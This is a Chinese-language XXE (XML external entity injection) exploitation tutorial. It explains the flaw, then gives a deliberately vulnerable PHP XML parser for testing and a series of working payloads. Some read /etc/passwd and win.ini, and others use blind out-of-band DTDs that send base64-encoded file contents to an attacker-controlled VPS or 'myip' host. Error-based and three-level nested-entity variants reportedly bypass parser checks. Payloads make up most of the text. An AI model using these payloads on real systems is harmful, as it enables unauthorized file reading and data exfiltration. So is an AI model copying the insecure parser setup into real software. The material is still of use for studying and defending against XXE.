0x00:XXE漏洞原理

XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

0x01 环境说明

PHP环境低于5.5使用此代码测试

  1. <?php
  2. $data = file_get_contents('php://input');
  3. $xml = simplexml_load_string($data);
  4. # 不需要回显时 注释print($xml);
  5. print($xml);

PHP环境大于等于5.5使用此代码测试

  1. <?php
  2. $data = file_get_contents('php://input');
  3. $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
  4. # 不需要回显时 注释print($xml);
  5. print($xml);

0x02 回显的XXE漏洞利用

注意点: 利用xxe读取的数据返回不能有html元素不然会报错.

方式一:直接通过DTD外部实体声明

  1. <?xml version="1.0"?>
  2. <!DOCTYPE a[ <!ENTITY b SYSTEM "file:///etc/passwd">]>
  3. <a>&b;</a>

方式二:(一般实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

  1. <?xml version="1.0"?>
  2. <!DOCTYPE a [ <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">]>
  3. <a>&b;</a>
  4. #而http://mark4z5.com/evil.dtd内容为<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:(参数实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

  1. <?xml version="1.0"?>
  2. <!DOCTYPE a [ <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">]>
  3. <a>%b;</a>
  4. #http://mark4z5.com/evil.dtd文件内容<!ENTITY b SYSTEM "file:///etc/passwd">

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

有回显XXE漏洞演示利用(任意文件读取)

利用各种协议可以读取文件,比如file://,php://filter

  1. # windows 读取文件-file
  2. <?xml version="1.0" encoding="UTF-8" ?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
  5. <value>&xxe;</value>

image.png

  1. # windows 读取文件-php://filter
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini">]>
  4. <root>&file;</root>
  1. # linux 读取文件
  2. <?xml version="1.0" encoding="UTF-8" ?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <value>&xxe;</value>
  1. # linux 读取文件-php://filter
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
  4. <root>&file;</root>

0x03 无回显的XXE漏洞利用(bind——xxe)

如上例所示,服务器将 /etc/passwd 文件的内容作为响应返回给我们的XXE。但是在大多数情况下,即使服务器可能存在XXE漏洞,服务器也不会向攻击者的浏览器返回任何响应。遇到这种情况,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。无论是OOB、还是基于错误的方式,都需要引入外部DTD文件。

  • OOB(Out-Of-Band):我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。
  • 错误获取数据:通过构造dtd然后从错误中获取数据。

注:Linux机器可以目录浏览和任意文件读取,Windows机器只能任意文件读取

Blind XXE是由于虽然目标服务器加载了XML数据,但是不回显读取的数据。那么,我们是否可以想其他的办法,将服务器读取的数据传送给我们的VPS呢?
image.png

  1. 先使用php://filter获取目标文件的内容,
  2. 然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx
  3. <!DOCTYPE updateProfile [
  4. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
  5. <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
  6. %dtd;
  7. %send;
  8. ]>
  9. evil.dtd的内容,内部的%号要进行实体编码成&#x25
  10. <!ENTITY % all
  11. "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
  12. >
  13. %all;
  14. 访问接受数据的服务器中的日志信息,
  15. 可以看到经过base64编码过的数据,解码后便可以得到数据。

VPS的操作
首先,在我们的VPS上搭建一个Http服务,然后创建一个xml.dtd文件,内容如下

  1. <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://VPS的地址:2121/%file;'>">%all;

然后在VPS上用python在2121端口起另一个http服务

  1. POST提交的数据
  2. <?xml version="1.0"?>
  3. <!DOCTYPE message [
  4. <!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
  5. <!ENTITY % file SYSTEM "file:///C:/Users/mi/Desktop/1.txt">
  6. %remote;
  7. %send;]>

但是如果读取的文件数据有空格的话,这样的读不出来的,所以我们可以用base64编码

  1. <?xml version="1.0"?>
  2. <!DOCTYPE message
  3. [ <!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">
  4. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Users/mi/Desktop/1.txt">
  5. %remote;
  6. %send;]>

然后对base64进行解码,如果目标是JAVA环境的话,建议采用FTP协议。

引用本地DTD文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
我们先来就看看ubuntu系统自带的/usr/share/yelp/dtd/docbookx.dtd部分内容
image.png
它定义了很多参数实体并调用了它。那么其实,我们可以在内部重写一个该dtd文件中含有的参数实体,而此时调用是在外部,这样仍然可以实现。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE message [
  3. <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
  4. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
  5. <!ENTITY % ISOamso '
  6. <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;http://myip/?&#x25;file;&#x27;>">
  7. &#x25;eval;
  8. &#x25;send;
  9. '>
  10. %remote;
  11. ]>
  12. <message>1234</message>

其中,这里已经是三层参数实体嵌套了,第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。

我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send。在这里不直接使用两层嵌套的原因是,如果直接用两层仍然会报PEReferences forbidden in internal subset in Entity 错误。

0x04 基于报错无回显的XXE漏洞利用(bind——xxe)

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

通过引入服务器文件

  1. xml.dtd
  2. <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
  3. %start;
  4. <?xml version="1.0"?>
  5. <!DOCTYPE message [
  6. <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
  7. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
  8. %remote;
  9. %send;
  10. ]>
  11. <message>1234</message>
  1. 通过引入本地文件
  2. <?xml version="1.0"?>
  3. <!DOCTYPE message [
  4. <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
  5. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
  6. <!ENTITY % ISOamso '
  7. <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
  8. &#x25;eval;
  9. &#x25;send;
  10. '>
  11. %remote;
  12. ]>
  13. <message>1234</message>

重新审视为啥要引用外部文件
按照上面的说法,似乎一定要引用外部文件。在w3关于XML协议中有这样一段话:
In the internal DTD subset, parameter-entity references MUST NOT occur within markup declarations; they may occur where markup declarations can occur. (This does not apply to references that occur in external parameter entities or to the external subset.)
简单翻译一下:在内部DTD集中,参数实体的引用不能存在于标记的声明中。这并不适用于外部的参数实体中。这意味着,协议本身就必须要求不能在内部的实体声明中引用参数,

我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE message [
  3. <!ENTITY % file SYSTEM "file:///etc/passwd">
  4. <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
  5. %start;
  6. %send;
  7. ]>
  8. <message>10</message>

但是对于三层嵌套参数实体构造的payload有些XML解析器是无法检测出来的,比如我本次测试的两种组合php7.2 + libxml2 2.9.4版本和php5.4 + libxml2 2.9.1都是可以有效利用的。

  1. <?xml version="1.0"?>
  2. <!DOCTYPE message [
  3. <!ELEMENT message ANY>
  4. <!ENTITY % para1 SYSTEM "file:///flag">
  5. <!ENTITY % para '
  6. <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
  7. &#x25;para2;
  8. '>
  9. %para;
  10. ]>
  11. <message>10</message>

image.png